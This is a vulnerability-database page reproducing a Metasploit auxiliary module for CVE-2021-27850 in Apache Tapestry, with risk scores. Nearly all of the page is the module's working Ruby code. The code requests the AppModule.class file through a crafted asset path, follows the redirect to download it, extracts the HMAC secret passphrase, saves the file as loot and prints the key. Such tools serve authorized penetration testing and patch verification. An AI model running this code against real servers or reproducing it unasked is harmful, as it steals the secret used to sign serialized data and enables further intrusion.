Lucene search

K

Apache Tapestry HMAC secret key leak

🗓️ 21 Jul 2021 22:41:56Reported by Johannes Moritz, Yann Castel (yann.castel <Yann Castel ([email protected])>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 55 Views

This module finds the HMAC secret key leaked in Apache Tapestry AppModule.class file, used in Java serialization. It uses a specific regex to locate the key in the downloaded file

Show more
Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

  include Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Tapestry HMAC secret key leak',
        'Description' => %q{
          This exploit finds the HMAC secret key used in Java serialization by Apache Tapestry. This key
          is located in the file AppModule.class by default and looks like the standard representation of UUID in hex digits (hd) :
          6hd-4hd-4hd-4hd-12hd
          If the HMAC key has been changed to look differently, this module won't find the key because it tries to download the file
          and then uses a specific regex to find the key.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Johannes Moritz', # CVE
          'Yann Castel (yann.castel[at]orange.com)' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2021-27850']
        ],
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ IOC_IN_LOGS ]
        },
        'DisclosureDate' => '2021-04-15'
      )
    )

    register_options([
      Opt::RPORT(8080),
      OptString.new('TARGETED_CLASS', [true, 'Name of the targeted java class', 'AppModule.class']),
      OptString.new('TARGETURI', [true, 'The base path of the Apache Tapestry Server', '/'])
    ])
  end

  def class_file
    datastore['TARGETED_CLASS']
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/assets/app/something/services/', class_file, '/')
    })

    if res.nil?
      Exploit::CheckCode::Unknown
    elsif res.code == 302

      id_url = res.redirection.to_s[%r{assets/app/(\w+)/services/#{class_file}}, 1]
      normalized_url = normalize_uri(target_uri.path, '/assets/app/', id_url, '/services/', class_file, '/')
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalized_url
      })

      if res.code == 200 && res.headers['Content-Type'] =~ %r{application/java.*}
        print_good("Java file leak at #{rhost}:#{rport}#{normalized_url}")
        Exploit::CheckCode::Vulnerable
      else
        Exploit::CheckCode::Safe
      end
    else
      Exploit::CheckCode::Safe
    end
  end

  def run
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/assets/app/something/services/', class_file, '/')
    })

    unless res
      print_bad('Apache Tapestry did not respond.')
      return
    end

    id_url = res.redirection.to_s[%r{assets/app/(\w+)/services/+#{class_file}}, 1]
    normalized_url = normalize_uri(target_uri.path, '/assets/app/', id_url, '/services/', class_file, '/')
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalized_url
    })

    unless res
      print_bad('Either target is not vulnerable or class file does not appear to exist.')
      return
    end

    raw_class_file = res.body.to_s
    if raw_class_file.empty?
      print_bad("#{class_file} could not be obtained.")
      return
    end

    key_marker = 'tapestry.hmac-passphrase'
    unless raw_class_file.include?(key_marker)
      print_bad("HMAC key not found in #{class_file}.")
      return
    end

    # three bytes precede the key itself
    # last two indicate the length of the key
    key_start = raw_class_file.index(key_marker)
    byte_start = key_start + key_marker.length + 1
    key_size = raw_class_file[byte_start..byte_start + 1]
    key_size = key_size.unpack('C*').join.to_i
    byte_start += 2

    key = raw_class_file[byte_start..byte_start + key_size - 1]
    path = store_loot(
      "tapestry.#{class_file}",
      'application/binary',
      rhost,
      raw_class_file
    )

    print_good("Apache Tapestry class file saved at #{path}.")
    if key
      print_good("HMAC key found: #{key}.")
    else
      print_bad(
        'Could not find key. ' \
        "Please check #{path} in case key is in an unexpected format."
      )
    end
  end
end

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
21 Jul 2021 22:56Current
6.9Medium risk
Vulners AI Score6.9
CVSS210
CVSS39.8
EPSS0.97249
55
.json
Report